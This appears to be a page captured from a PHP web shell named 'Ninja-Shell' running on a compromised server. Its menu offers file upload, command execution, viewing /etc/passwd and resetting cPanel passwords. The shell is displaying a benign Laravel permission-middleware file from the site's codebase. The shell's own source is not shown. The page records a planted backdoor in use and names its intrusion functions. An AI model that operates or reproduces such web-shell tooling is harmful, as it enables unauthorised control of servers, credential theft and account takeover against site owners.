{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: /var/www//arsu/app//Http//Middleware/ModulePermissionMiddleware.php
<?php namespace App\Http\Middleware; use App\CPU\Helpers; use Brian2694\Toastr\Facades\Toastr; use Closure; class ModulePermissionMiddleware { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next, $module) { if (Helpers::module_permission_check($module)) { return $next($request); } Toastr::error('Access Denied !'); return back(); } }
./Ninja\.